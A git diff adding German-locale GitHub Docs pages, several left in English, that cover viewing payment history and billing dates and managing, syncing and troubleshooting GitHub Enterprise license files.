+Nach der Genehmigung der neuen Abrechnungsinformationen belasten wir Dein Konto sofort für das von Dir gewählte bezahlte Produkt. Nach erfolgter Zahlung wird die Organisation automatisch entsperrt.
diff --git a/translations/de-DE/content/billing/managing-your-github-billing-settings/viewing-your-payment-history-and-receipts.md b/translations/de-DE/content/billing/managing-your-github-billing-settings/viewing-your-payment-history-and-receipts.md
new file mode 100644
index 0000000000..6c2fb46091
--- /dev/null
+++ b/translations/de-DE/content/billing/managing-your-github-billing-settings/viewing-your-payment-history-and-receipts.md
@@ -0,0 +1,36 @@
+---
+title: Ihren Zahlungsverlauf und Ihre Quittungen anzeigen
+intro: Du kannst den Zahlungsverlauf deines Kontos jederzeit anzeigen und vergangene Quittungen herunterladen.
+redirect_from:
+  - /github/setting-up-and-managing-billing-and-payments-on-github/viewing-your-payment-history-and-receipts
+  - /articles/downloading-receipts
+  - /articles/downloading-receipts-for-personal-accounts
+  - /articles/downloading-receipts-for-organizations
+  - /articles/viewing-your-payment-history-and-receipts
+  - /github/setting-up-and-managing-billing-and-payments-on-github/managing-your-github-billing-settings/viewing-your-payment-history-and-receipts
+versions:
+  fpt: '*'
+  ghec: '*'
+type: how_to
+topics:
+  - Accounts
+  - Organizations
+  - Receipts
+  - User account
+shortTitle: View history & receipts
+ms.openlocfilehash: 620dcd8d38da01e9680e0cbc05c23dc97d241a41
+ms.sourcegitcommit: 5b1461b419dbef60ae9dbdf8e905a4df30fc91b7
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: '147879268'
+---
+## Quittungen für Dein persönliches Konto anzeigen
+
+{% data reusables.user-settings.access_settings %} {% data reusables.user-settings.billing_plans %} {% data reusables.dotcom_billing.view-payment-history %} {% data reusables.dotcom_billing.download_receipt %}
+
+## Quittungen für Deine Organisation anzeigen
+
+{% data reusables.dotcom_billing.org-billing-perms %}
+
+{% data reusables.organizations.billing-settings %} {% data reusables.dotcom_billing.view-payment-history %} {% data reusables.dotcom_billing.download_receipt %}
diff --git a/translations/de-DE/content/billing/managing-your-github-billing-settings/viewing-your-subscriptions-and-billing-date.md b/translations/de-DE/content/billing/managing-your-github-billing-settings/viewing-your-subscriptions-and-billing-date.md
new file mode 100644
index 0000000000..574d3da22c
--- /dev/null
+++ b/translations/de-DE/content/billing/managing-your-github-billing-settings/viewing-your-subscriptions-and-billing-date.md
@@ -0,0 +1,40 @@
+---
+title: Ihre Abonnements und Ihr Abrechnungsdatum einsehen
+intro: 'In den Abrechnungseinstellungen deines Kontos kannst du das Abonnement deines Kontos, deine anderen bezahlten Funktionen und Produkte und dein nächstes Abrechnungsdatum anzeigen.'
+redirect_from:
+  - /github/setting-up-and-managing-billing-and-payments-on-github/managing-your-github-billing-settings/viewing-your-subscriptions-and-billing-date
+  - /github/setting-up-and-managing-billing-and-payments-on-github/viewing-your-subscriptions-and-billing-date
+  - /articles/finding-your-next-billing-date
+  - /articles/finding-your-personal-account-s-next-billing-date
+  - /articles/finding-your-organization-s-next-billing-date
+  - /articles/viewing-your-plans-and-billing-date
+  - /articles/viewing-your-subscriptions-and-billing-date
+versions:
+  fpt: '*'
+  ghec: '*'
+type: how_to
+topics:
+  - Accounts
+  - Organizations
+  - User account
+shortTitle: Subscriptions & billing date
+ms.openlocfilehash: c623155dcf2e839202237e5e67c93665f7e354df
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: '145085620'
+---
+## Nächstes Abrechnungsdatum Deines persönlichen Kontos finden
+
+{% data reusables.user-settings.access_settings %} {% data reusables.user-settings.billing_plans %} {% data reusables.dotcom_billing.next_billing_date %}
+
+## Nächstes Abrechnungsdatum Deiner Organisation finden
+
+{% data reusables.dotcom_billing.org-billing-perms %}
+
+{% data reusables.organizations.billing-settings %} {% data reusables.dotcom_billing.next_billing_date %}
+
+## Weiterführende Themen
+
+- [Informationen zur Abrechnung für {% data variables.product.prodname_dotcom %}-Konten](/articles/about-billing-for-github-accounts)
diff --git a/translations/de-DE/content/billing/managing-your-license-for-github-enterprise/about-licenses-for-github-enterprise.md b/translations/de-DE/content/billing/managing-your-license-for-github-enterprise/about-licenses-for-github-enterprise.md
new file mode 100644
index 0000000000..2a8b764350
--- /dev/null
+++ b/translations/de-DE/content/billing/managing-your-license-for-github-enterprise/about-licenses-for-github-enterprise.md
@@ -0,0 +1,44 @@
+---
+title: About licenses for GitHub Enterprise
+intro: '{% ifversion ghec %}If you deploy {% data variables.product.prodname_ghe_server %} in addition to using {% data variables.product.prodname_ghe_cloud %}, you{% else %}You{% endif %} can synchronize your license usage between{% ifversion ghes %} {% data variables.product.prodname_enterprise %}{% endif %} deployments, and use a license file to unlock each {% data variables.product.prodname_ghe_server %} instance.'
+versions:
+  ghec: '*'
+  ghes: '*'
+type: overview
+topics:
+  - Enterprise
+  - Licensing
+shortTitle: About licenses
+---
+
+## About licensing for {% data variables.product.prodname_enterprise %}
+
+{% data reusables.enterprise.about-deployment-methods %}
+
+{% data reusables.enterprise-licensing.unique-user-licensing-model %}
+
+To ensure the same user isn't consuming more than one license for multiple enterprise deployments, you can synchronize license usage between your {% data variables.product.prodname_ghe_server %} and {% data variables.product.prodname_ghe_cloud %} deployments.
+
+In order to use a {% data variables.product.prodname_ghe_server %} instance, you must upload a license file that {% data variables.product.company_short %} provides when you purchase, renew, or add user licenses to {% data variables.product.prodname_enterprise %}.
+
+## About synchronization of license usage for {% data variables.product.prodname_enterprise %}
+
+{% data reusables.enterprise-licensing.about-license-sync %} For more information, see "[Syncing license usage between {% data variables.product.prodname_ghe_server %} and {% data variables.product.prodname_ghe_cloud %}](/billing/managing-your-license-for-github-enterprise/syncing-license-usage-between-github-enterprise-server-and-github-enterprise-cloud)."
+
+## About license files for {% data variables.product.prodname_enterprise %}
+
+When you purchase or renew {% data variables.product.prodname_enterprise %}, {% data variables.product.company_short %} provides a license file {% ifversion ghec %}for your deployments of {% data variables.product.prodname_ghe_server %}{% elsif ghes %}for {% data variables.location.product_location_enterprise %}{% endif %}. A license file has an expiration date and controls the number of people who can use {% data variables.location.product_location_enterprise %}. After you download and install {% data variables.product.prodname_ghe_server %}, you must upload the license file to unlock the application for you to use.
+
+For more information about downloading your license file, see "[Downloading your license for {% data variables.product.prodname_enterprise %}](/billing/managing-your-license-for-github-enterprise/downloading-your-license-for-github-enterprise)." 
+
+For more information about uploading your license file, see {% ifversion ghec %}"[Uploading a new license to {% data variables.product.prodname_ghe_server %}](/enterprise-server/billing/managing-your-license-for-github-enterprise/uploading-a-new-license-to-github-enterprise-server)" in the {% data variables.product.prodname_ghe_server %} documentation.{% elsif ghes %}"[Uploading a new license to {% data variables.product.prodname_ghe_server %}](/billing/managing-your-license-for-github-enterprise/uploading-a-new-license-to-github-enterprise-server)."{% endif %}
+
+If your license expires, you won't be able to access {% data variables.product.prodname_ghe_server %} via a web browser or Git. If needed, you will be able to use command-line utilities to back up all your data. For more information, see {% ifversion ghec %}"[Configuring backups on your appliance]({% ifversion ghec %}/enterprise-server@latest{% endif %}/admin/guides/installation/configuring-backups-on-your-appliance)" in the {% data variables.product.prodname_ghe_server %} documentation.{% elsif ghes %}"[Configuring backups on your appliance](/admin/guides/installation/configuring-backups-on-your-appliance)." {% endif %}
+
+If you have any questions about renewing your license, contact {% data variables.contact.contact_enterprise_sales %}.
+
+## Further reading
+
+- "[About billing for your enterprise](/billing/managing-billing-for-your-github-account/about-billing-for-your-enterprise)"
+- [{% data variables.product.prodname_enterprise %} Releases](https://enterprise.github.com/releases/) website
+- "[Setting up a {% data variables.product.prodname_ghe_server %} instance]({% ifversion ghec %}/enterprise-server@latest{% endif %}/admin/installation/setting-up-a-github-enterprise-server-instance)"
diff --git a/translations/de-DE/content/billing/managing-your-license-for-github-enterprise/downloading-your-license-for-github-enterprise.md b/translations/de-DE/content/billing/managing-your-license-for-github-enterprise/downloading-your-license-for-github-enterprise.md
new file mode 100644
index 0000000000..9e67e9dfa4
--- /dev/null
+++ b/translations/de-DE/content/billing/managing-your-license-for-github-enterprise/downloading-your-license-for-github-enterprise.md
@@ -0,0 +1,38 @@
+---
+title: Downloading your license for GitHub Enterprise
+intro: 'You can download a copy of your license file for {% data variables.product.prodname_ghe_server %}.'
+permissions: 'Enterprise owners can download license files for {% data variables.product.prodname_ghe_server %}.'
+versions:
+  ghec: '*'
+  ghes: '*'
+type: how_to
+topics:
+  - Enterprise
+  - Licensing
+shortTitle: Download your license
+---
+
+## About license files for {% data variables.product.prodname_enterprise %}
+
+After you purchase or upgrade a license for {% data variables.product.prodname_enterprise %} from {% data variables.contact.contact_enterprise_sales %}, you must download your new license file. For more information about licenses for {% data variables.product.prodname_enterprise %}, see "[About licenses for {% data variables.product.prodname_enterprise %}](/billing/managing-your-license-for-github-enterprise/about-licenses-for-github-enterprise)."
+
+{% data reusables.enterprise-licensing.contact-sales-for-renewals-or-seats %}
+
+## Downloading your license from {% data variables.product.prodname_dotcom_the_website %}
+
+You must have an enterprise account on {% data variables.product.prodname_dotcom_the_website %} to download your license from {% data variables.product.prodname_dotcom_the_website %}. For more information, see "[About enterprise accounts](/enterprise-cloud@latest/admin/overview/about-enterprise-accounts){% ifversion ghes %}" in the {% data variables.product.prodname_ghe_cloud %} documentation.{% elsif ghec %}."{% endif %}
+
+{% data reusables.enterprise-accounts.access-enterprise-on-dotcom %}
+{% data reusables.enterprise-accounts.settings-tab %}
+1. In the left sidebar, click **Enterprise licensing**.
+  !["Enterprise licensing" tab in the enterprise account settings sidebar](/assets/images/help/enterprises/enterprise-licensing-tab.png)
+1. Under "Enterprise Server Instances", click {% octicon "download" aria-label="The download icon" %} to download your license file.
+  ![Download GitHub Enterprise Server license](/assets/images/help/business-accounts/download-ghes-license.png)
+
+After you download your license file, you can upload the file to {% data variables.location.product_location_enterprise %} to validate your application. For more information, see {% ifversion ghec %}"[Uploading a new license to {% data variables.product.prodname_ghe_server %}](/enterprise-server/billing/managing-your-license-for-github-enterprise/uploading-a-new-license-to-github-enterprise-server)" in the {% data variables.product.prodname_ghe_server %} documentation.{% elsif ghes %}"[Uploading a new license to {% data variables.product.prodname_ghe_server %}](/enterprise-server/billing/managing-your-license-for-github-enterprise/uploading-a-new-license-to-github-enterprise-server)."{% endif %}
+
+## Downloading your license if you don't have an enterprise account on {% data variables.product.prodname_dotcom_the_website %}
+
+If you do not have an enterprise account on {% data variables.product.prodname_dotcom_the_website %}, or if you're not sure, you may be able to download your {% data variables.product.prodname_ghe_server %} license from the [{% data variables.product.prodname_enterprise %} website](https://enterprise.github.com/download).
+
+If you have any questions about downloading your license, contact {% data variables.contact.contact_enterprise_sales %}.
diff --git a/translations/de-DE/content/billing/managing-your-license-for-github-enterprise/index.md b/translations/de-DE/content/billing/managing-your-license-for-github-enterprise/index.md
new file mode 100644
index 0000000000..1c2861d83d
--- /dev/null
+++ b/translations/de-DE/content/billing/managing-your-license-for-github-enterprise/index.md
@@ -0,0 +1,34 @@
+---
+title: Verwalten deiner Lizenz für GitHub Enterprise
+shortTitle: GitHub Enterprise license
+intro: '{% data variables.product.prodname_enterprise %} enthält sowohl Cloud- als auch selbstgehostete Bereitstellungsoptionen. Wenn du eine Instanz von {% data variables.product.prodname_ghe_server %} hostest, musst du sie mit einer Lizenzdatei entsperren. Du kannst die Lizenzdatei anzeigen, verwalten und aktualisieren.'
+redirect_from:
+  - /free-pro-team@latest/billing/managing-your-license-for-github-enterprise
+  - /enterprise/admin/installation/managing-your-github-enterprise-license
+  - /enterprise/admin/categories/licenses
+  - /enterprise/admin/articles/license-files
+  - /enterprise/admin/installation/about-license-files
+  - /enterprise/admin/articles/downloading-your-license
+  - /enterprise/admin/installation/downloading-your-license
+  - /enterprise/admin/articles/upgrading-your-license
+  - /enterprise/admin/installation/updating-your-license
+  - /enterprise/admin/installation/managing-your-github-enterprise-server-license
+  - /enterprise/admin/overview/managing-your-github-enterprise-license
+versions:
+  ghec: '*'
+  ghes: '*'
+children:
+  - /about-licenses-for-github-enterprise
+  - /downloading-your-license-for-github-enterprise
+  - /uploading-a-new-license-to-github-enterprise-server
+  - /viewing-license-usage-for-github-enterprise
+  - /syncing-license-usage-between-github-enterprise-server-and-github-enterprise-cloud
+  - /troubleshooting-license-usage-for-github-enterprise
+ms.openlocfilehash: 700c58c990512f1335f74431488b3082fb91c117
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: '145910607'
+---
+
diff --git a/translations/de-DE/content/billing/managing-your-license-for-github-enterprise/syncing-license-usage-between-github-enterprise-server-and-github-enterprise-cloud.md b/translations/de-DE/content/billing/managing-your-license-for-github-enterprise/syncing-license-usage-between-github-enterprise-server-and-github-enterprise-cloud.md
new file mode 100644
index 0000000000..cbbec0d08d
--- /dev/null
+++ b/translations/de-DE/content/billing/managing-your-license-for-github-enterprise/syncing-license-usage-between-github-enterprise-server-and-github-enterprise-cloud.md
@@ -0,0 +1,64 @@
+---
+title: Syncing license usage between GitHub Enterprise Server and GitHub Enterprise Cloud
+intro: 'You can sync license usage from {% data variables.product.prodname_ghe_server %} to {% data variables.product.prodname_ghe_cloud %} to view all license usage across your enterprise in one place and ensure that people with accounts in both environments only consume one user license.'
+permissions: 'Enterprise owners can sync license usage between enterprise accounts on {% data variables.product.prodname_ghe_server %} and {% data variables.product.prodname_ghe_cloud %}.'
+versions:
+  ghec: '*'
+  ghes: '*'
+type: how_to
+topics:
+  - Enterprise
+  - Licensing
+shortTitle: Sync license usage
+---
+
+## About synchronization of license usage
+
+{% data reusables.enterprise-licensing.unique-user-licensing-model %}
+
+{% data reusables.enterprise-licensing.about-license-sync %}
+
+To ensure that you see up-to-date license details on {% data variables.product.prodname_dotcom_the_website %}, you can sync license usage between the environments automatically, using {% data variables.product.prodname_github_connect %}. For more information about {% data variables.product.prodname_github_connect %}, see "[About {% data variables.product.prodname_github_connect %}]({% ifversion ghec %}/enterprise-server@latest{% endif %}/admin/configuration/configuring-github-connect/about-github-connect){% ifversion ghec %}" in the {% data variables.product.prodname_ghe_server %} documentation.{% elsif ghes %}."{% endif %}
+
+If you don't want to enable {% data variables.product.prodname_github_connect %}, you can manually sync license usage by uploading a file from {% data variables.product.prodname_ghe_server %} to {% data variables.product.prodname_dotcom_the_website %}.
+
+When you synchronize license usage, only the user ID and email addresses for each user account on {% data variables.product.prodname_ghe_server %} are transmitted to {% data variables.product.prodname_ghe_cloud %}.
+
+{% data reusables.enterprise-licensing.view-consumed-licenses %}
+
+{% data reusables.enterprise-licensing.verified-domains-license-sync %}
+
+## Automatically syncing license usage
+
+You can use {% data variables.product.prodname_github_connect %} to automatically synchronize user license count and usage between {% data variables.product.prodname_ghe_server %} and {% data variables.product.prodname_ghe_cloud %} weekly. For more information, see "[Enabling automatic user license sync for your enterprise]({% ifversion ghec %}/enterprise-server@latest{% endif %}/admin/configuration/configuring-github-connect/enabling-automatic-user-license-sync-for-your-enterprise){% ifversion ghec %}" in the {% data variables.product.prodname_ghe_server %} documentation.{% elsif ghes %}."{% endif %}
+
+{% ifversion ghec or ghes > 3.4 %}
+After you enable {% data variables.product.prodname_github_connect %}, license data will be automatically synchronized weekly. You can also manually synchronize your license data at any time, by triggering a license sync job.
+
+### Triggering a license sync job
+
+1. Sign in to your {% data variables.product.prodname_ghe_server %} instance.
+{% data reusables.enterprise-accounts.access-enterprise %}
+{% data reusables.enterprise-accounts.settings-tab %}
+{% data reusables.enterprise-accounts.license-tab %}
+1. Under "License sync", click {% octicon "sync" aria-label="The Sync icon" %} **Sync now**.
+  ![Screenshot of "Sync now" button in license sync section](/assets/images/help/enterprises/license-sync-now-ghes.png)
+
+{% endif %}
+
+## Manually uploading GitHub Enterprise Server license usage
+
+You can download a JSON file from {% data variables.product.prodname_ghe_server %} and upload the file to {% data variables.product.prodname_ghe_cloud %} to manually sync user license usage between the two deployments.
+
+{% data reusables.enterprise-accounts.access-enterprise %}
+{% data reusables.enterprise-accounts.settings-tab %}
+{% data reusables.enterprise-accounts.license-tab %}
+5. Under "Quick links", to download a file containing your current license usage on {% data variables.product.prodname_ghe_server %}, click **Export license usage**.
+  ![Export license usage link](/assets/images/enterprise/business-accounts/export-license-usage-link.png)
+{% data reusables.enterprise-accounts.access-enterprise-on-dotcom %}
+{% data reusables.enterprise-accounts.settings-tab %}
+{% data reusables.enterprise-accounts.license-tab %}
+10. Under "Enterprise Server Instances", click **Add server usage**.
+  ![Upload GitHub Enterprise Servers usage link](/assets/images/help/business-accounts/upload-ghe-server-usage-link.png)
+11. Upload the JSON file you downloaded from {% data variables.product.prodname_ghe_server %}.
+  ![Drag and drop or select a file to upload](/assets/images/help/business-accounts/upload-ghe-server-usage-file.png)
diff --git a/translations/de-DE/content/billing/managing-your-license-for-github-enterprise/troubleshooting-license-usage-for-github-enterprise.md b/translations/de-DE/content/billing/managing-your-license-for-github-enterprise/troubleshooting-license-usage-for-github-enterprise.md
new file mode 100644
index 0000000000..7bc6979232
--- /dev/null
+++ b/translations/de-DE/content/billing/managing-your-license-for-github-enterprise/troubleshooting-license-usage-for-github-enterprise.md
@@ -0,0 +1,99 @@
+---
+title: Troubleshooting license usage for GitHub Enterprise
+intro: You can troubleshoot license usage for your enterprise by auditing license reports.
+permissions: 'Enterprise owners can review license usage for {% data variables.product.prodname_enterprise %}.'
+versions:
+  ghec: '*'
+  ghes: '*'
+type: how_to
+topics:
+  - Enterprise
+  - Licensing
+shortTitle: Troubleshoot license usage
+---
+
+## About unexpected license usage
+
+If the number of consumed licenses for your enterprise is unexpected, you can review your consumed license report to audit your license usage across all your enterprise deployments and subscriptions. For more information, see "[Viewing license usage for GitHub Enterprise](/billing/managing-your-license-for-github-enterprise/viewing-license-usage-for-github-enterprise)" and "[Viewing the subscription and usage for your enterprise account](/billing/managing-billing-for-your-github-account/viewing-the-subscription-and-usage-for-your-enterprise-account)."
+
+If you find errors, you can try troubleshooting steps.
+
+For privacy reasons, enterprise owners cannot directly access the details of user accounts unless you use {% data variables.product.prodname_emus %}.
+
+## About the calculation of consumed licenses
+
+{% data variables.product.company_short %} bills for each person who uses deployments of {% data variables.product.prodname_ghe_server %}, is a member of one of your organizations on {% data variables.product.prodname_ghe_cloud %}, or is a {% data variables.visual_studio.prodname_vs_subscriber %}. For more information about the people in your enterprise who consume a license, see "[About per-user pricing](/billing/managing-billing-for-your-github-account/about-per-user-pricing)."
+
+For each user to consume a single seat regardless of how many deployments they use, you must synchronize license usage between {% data variables.product.prodname_ghe_server %} and {% data variables.product.prodname_ghe_cloud %}. For more information, see "[Syncing license usage between {% data variables.product.prodname_ghe_server %} and {% data variables.product.prodname_ghe_cloud %}](/billing/managing-your-license-for-github-enterprise/syncing-license-usage-between-github-enterprise-server-and-github-enterprise-cloud)."
+
+After you synchronize license usage, {% data variables.product.prodname_dotcom %} matches user accounts on {% data variables.product.prodname_ghe_server %} with user accounts on {% data variables.product.prodname_ghe_cloud %} by email address.
+
+First, we first check the primary email address of each user on {% data variables.product.prodname_ghe_server %}. Then, we attempt to match that address with the email address for a user account on {% data variables.product.prodname_ghe_cloud %}. If your enterprise uses SAML SSO, we first check the following SAML attributes for email addresses.
+
+- `http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name`
+- `http://schemas.xmlsoap.org/ws/2005/05/identity/claims/emailaddress`
+- `username`
+- `NameID`
+- `emails`
+
+If no email addresses found in these attributes match the primary email address on {% data variables.product.prodname_ghe_server %}, or if your enterprise doesn't use SAML SSO, we then check each of the user's verified email addresses on {% data variables.product.prodname_ghe_cloud %}. For more information about verification of email addresses on {% data variables.product.prodname_dotcom_the_website %}, see "[Verifying your email address](/enterprise-cloud@latest/get-started/signing-up-for-github/verifying-your-email-address){% ifversion not ghec %}" in the {% data variables.product.prodname_ghe_cloud %} documentation.{% else %}."{% endif %}
+
+## Fields in the consumed license files
+
+The {% data variables.product.prodname_dotcom_the_website %} license usage report and {% data variables.product.prodname_ghe_server %} exported license usage file include a variety of fields to help you troubleshoot license usage for your enterprise. 
+
+### {% data variables.product.prodname_dotcom_the_website %} license usage report (CSV file)
+
+The license usage report for your enterprise is a CSV file that contains the following information about members of your enterprise. Some fields are specific to your {% data variables.product.prodname_ghe_cloud %} (GHEC) deployment, {% data variables.product.prodname_ghe_server %} (GHES) connected environments, or your {% data variables.product.prodname_vs %} subscriptions (VSS) with GitHub Enterprise.
+
+| Field | Description
+| ----- | -----------
+| github_com_login | The username for the user's GHEC account
+| github_com_name | The display name for the user's GHEC account
+| github_com_profile | The URL for the user's profile page on GHEC
+| github_com_user	| Whether or not the user has an account on GHEC |
+| github_com_member_roles | For each of the organizations the user belongs to on GHEC, the organization name and the user's role in that organization (`Owner` or `Member`) separated by a colon<br><br>Organizations delimited by commas |
+| github_com_enterprise_role | Can be one of: `Owner`, `Member`, or `Outside collaborator`
+| github_com_verified_domain_emails | All email addresses associated with the user's GHEC account that match your enterprise's verified domains |
+| github_com_saml_name_id | The SAML username |
+| github_com_orgs_with_pending_invites | All pending invitations for the user's GHEC account to join organizations within your enterprise |
+| license_type | Can be one of: `Visual Studio subscription` or `Enterprise`
+| enterprise_server_user| Whether or not the user has at least one account on GHES |
+| enterprise_server_primary_emails | The primary email addresses associated with each of the user's GHES accounts |
+| enterprise_server_user_ids | For each of the user's GHES accounts, the account's user ID
+| total_user_accounts | The total number of accounts the person has across both GHEC and GHES
+| visual_studio_subscription_user | Whether or not the user is a {% data variables.visual_studio.prodname_vs_subscriber %} |
+| visual_studio_subscription_email | The email address associated with the user's VSS |
+| visual_studio_license_status | Whether the Visual Studio license has been matched to a {% data variables.product.company_short %} user |
+
+{% data variables.visual_studio.prodname_vs_subscriber %}s who are not yet members of at least one organization in your enterprise will be included in the report with a pending invitation status, and will be missing values for the "Name" or "Profile link" field.
+
+### {% data variables.product.prodname_ghe_server %} exported license usage (JSON file)
+
+Your {% data variables.product.prodname_ghe_server %} license usage is a JSON file that is typically used when performing a manual sync of user licenses between {% data variables.product.prodname_ghe_server %} and {% data variables.product.prodname_ghe_cloud %} deployments. The file contains the following information specific to your {% data variables.product.prodname_ghe_server %} environment.
+
+| Field | Description
+| ----- | -----------
+| Features | The {% data variables.product.prodname_github_connect %} features that are enabled on your {% data variables.product.prodname_ghe_server %} instance, and the date and time of enablement.
+| Host name | The hostname of your {% data variables.product.prodname_ghe_server %} instance.
+| HTTP only | Whether Transport Layer Security (TLS) is enabled and configured on your {% data variables.product.prodname_ghe_server %} instance. Can be one of: `True` or `False`. 
+| License | A hash of your {% data variables.product.prodname_ghe_server %} license.
+| Public key | The public key portion of your {% data variables.product.prodname_ghe_server %} license.
+| Server ID | UUID generated for your {% data variables.product.prodname_ghe_server %} instance.
+| Version | The version of your {% data variables.product.prodname_ghe_server %} instance.
+
+## Troubleshooting consumed licenses
+
+To ensure that the each user is only consuming a single seat for different deployments and subscriptions, try the following troubleshooting steps.
+
+1. To help identify users that are consuming multiple seats, if your enterprise uses verified domains for {% data variables.product.prodname_ghe_cloud %}, review the list of enterprise members who do not have an email address from a verified domain associated with their account on {% data variables.product.prodname_dotcom_the_website %}. Often, these are the users who erroneously consume more than one licensed seat. For more information, see "[Viewing members without an email address from a verified domain](/admin/user-management/managing-users-in-your-enterprise/viewing-people-in-your-enterprise#viewing-members-without-an-email-address-from-a-verified-domain)."
+
+   {% note %}
+
+  **Note:** To make troubleshooting easier, we recommend using verified domains with your enterprise account on {% data variables.product.prodname_dotcom_the_website %}. For more information, see "[Verifying or approving a domain for your enterprise](/enterprise-cloud@latest/admin/configuration/configuring-your-enterprise/verifying-or-approving-a-domain-for-your-enterprise)."
+
+  {% endnote %}
+1. After you identify users who are consuming multiple seats, make sure that the same email address is associated with all of the user's accounts. For more information about which email addresses must match, see "[About the calculation of consumed licenses](#about-the-calculation-of-consumed-licenses)."
+1. If an email address was recently updated or verified to correct a mismatch, view the timestamp of the last license sync job. If a job hasn't run since the correction was made, manually trigger a new job. For more information, see "[Syncing license usage between GitHub Enterprise Server and GitHub Enterprise Cloud](/billing/managing-your-license-for-github-enterprise/syncing-license-usage-between-github-enterprise-server-and-github-enterprise-cloud)."
+
+If you still have questions about your consumed licenses after reviewing the troubleshooting information above, you can contact {% data variables.contact.github_support %} through the {% data variables.contact.contact_enterprise_portal %}.
diff --git a/translations/de-DE/content/billing/managing-your-license-for-github-enterprise/uploading-a-new-license-to-github-enterprise-server.md b/translations/de-DE/content/billing/managing-your-license-for-github-enterprise/uploading-a-new-license-to-github-enterprise-server.md
new file mode 100644
index 0000000000..e66cfc6dd6
--- /dev/null
+++ b/translations/de-DE/content/billing/managing-your-license-for-github-enterprise/uploading-a-new-license-to-github-enterprise-server.md
@@ -0,0 +1,37 @@
+---
+title: Uploading a new license to GitHub Enterprise Server
+intro: 'You can upload your license file for {% data variables.product.prodname_enterprise %} to {% data variables.location.product_location_enterprise %} to validate your application.'
+versions:
+  ghes: '*'
+type: how_to
+topics:
+  - Enterprise
+  - Licensing
+shortTitle: Upload a new license
+---
+
+## About license files for {% data variables.product.prodname_enterprise %}
+
+After you purchase or upgrade a license for {% data variables.product.prodname_enterprise %} from {% data variables.contact.contact_enterprise_sales %}, you must upload the new license file to {% data variables.location.product_location_enterprise %} to unlock your new user licenses. For more information about licenses for {% data variables.product.product_name %}, see "[About licenses for {% data variables.product.prodname_enterprise %}](/billing/managing-your-license-for-github-enterprise/about-licenses-for-github-enterprise)" and "[Downloading your license for {% data variables.product.prodname_enterprise %}](/billing/managing-your-license-for-github-enterprise/downloading-your-license-for-github-enterprise)."
+
+{% data reusables.enterprise-licensing.contact-sales-for-renewals-or-seats %}
+
+## Uploading your license to {% data variables.location.product_location_enterprise %}
+
+{% warning %}
+
+**Warning:** Updating your license causes a small amount of downtime for {% data variables.location.product_location %}.
+
+{% endwarning %}
+
+1. Sign into {% data variables.location.product_location_enterprise %} as a site administrator.
+{% data reusables.enterprise-accounts.access-enterprise %}
+{% data reusables.enterprise-accounts.settings-tab %}
+{% data reusables.enterprise-accounts.license-tab %}
+1. Under "Quick links", click **Update license**.
+  ![Update license link](/assets/images/enterprise/business-accounts/update-license-link.png)
+1. To select your license, click **License file**, or drag your license file onto **License file**.
+  ![Upload license file](/assets/images/enterprise/management-console/upload-license.png)
+1. Click **Upload**.
+  ![Begin upload](/assets/images/enterprise/management-console/begin-upload.png)
+
diff --git a/translations/de-DE/content/billing/managing-your-license-for-github-enterprise/viewing-license-usage-for-github-enterprise.md b/translations/de-DE/content/billing/managing-your-license-for-github-enterprise/viewing-license-usage-for-github-enterprise.md
new file mode 100644
index 0000000000..452c276d23
--- /dev/null
+++ b/translations/de-DE/content/billing/managing-your-license-for-github-enterprise/viewing-license-usage-for-github-enterprise.md
@@ -0,0 +1,68 @@
+---
+title: Viewing license usage for GitHub Enterprise
+intro: 'You can view license usage for your enterprise on {% ifversion ghec %}{% data variables.product.prodname_dotcom_the_website %}{% elsif ghes %}{% data variables.location.product_location %}{% endif %}.'
+permissions: 'Enterprise owners can view license usage for {% data variables.product.prodname_enterprise %}.'
+versions:
+  ghec: '*'
+  ghes: '*'
+type: how_to
+topics:
+  - Enterprise
+  - Licensing
+shortTitle: View license usage
+---
+
+## About license usage for {% data variables.product.prodname_enterprise %}
+
+You can view license usage for {% data variables.product.product_name %} on {% data variables.location.product_location %}.
+
+If you use both {% data variables.product.prodname_ghe_cloud %} and {% data variables.product.prodname_ghe_server %} and sync license usage between the products, you can view license usage for both on {% data variables.product.prodname_dotcom_the_website %}. For more information about license sync, see "[Syncing license usage between {% data variables.product.prodname_ghe_server %} and {% data variables.product.prodname_ghe_cloud %}](/billing/managing-your-license-for-github-enterprise/syncing-license-usage-between-github-enterprise-server-and-github-enterprise-cloud)."
+
+{% ifversion ghes %}
+
+For more information about viewing license usage on {% data variables.product.prodname_dotcom_the_website %} and identifying when the last license sync occurred, see "[Viewing license usage for {% data variables.product.prodname_enterprise %}](/enterprise-cloud@latest/billing/managing-your-license-for-github-enterprise/viewing-license-usage-for-github-enterprise)" in the {% data variables.product.prodname_ghe_cloud %} documentation.
+
+{% endif %}
+
+You can also use the REST API to return consumed licenses data and the status of the license sync job. For more information, see "[GitHub Enterprise administration](/enterprise-cloud@latest/rest/enterprise-admin/license)" in the REST API documentation.
+
+To learn more about the license data associated with your enterprise account and how the number of consumed user seats are calculated, see "[Troubleshooting license usage for GitHub Enterprise](/billing/managing-your-license-for-github-enterprise/troubleshooting-license-usage-for-github-enterprise)."
+
+
+## Viewing license usage on {% ifversion ghec %}{% data variables.product.prodname_dotcom_the_website %}{% elsif ghes %}{% data variables.location.product_location %}{% endif %}
+
+You can view the license usage for your enterprise and download a file with license details. If you're not seeing expected license counts in this report, it's possible that the subscriber’s assigned {% data variables.product.prodname_vs %} subscription email address and {% data variables.product.prodname_dotcom_the_website %} email address aren't exactly the same. For further information, see "[Troubleshooting license usage for GitHub Enterprise](/billing/managing-your-license-for-github-enterprise/troubleshooting-license-usage-for-github-enterprise)."
+
+{% ifversion ghec %}
+
+{% data reusables.enterprise-accounts.access-enterprise-on-dotcom %}
+{% data reusables.enterprise-accounts.settings-tab %}
+1. In the left sidebar, click **Enterprise licensing**.
+  !["Enterprise licensing" tab in the enterprise account settings sidebar](/assets/images/help/enterprises/enterprise-licensing-tab.png)
+1. Review your current {% data variables.product.prodname_enterprise %} license, as well as consumed and available user licenses.
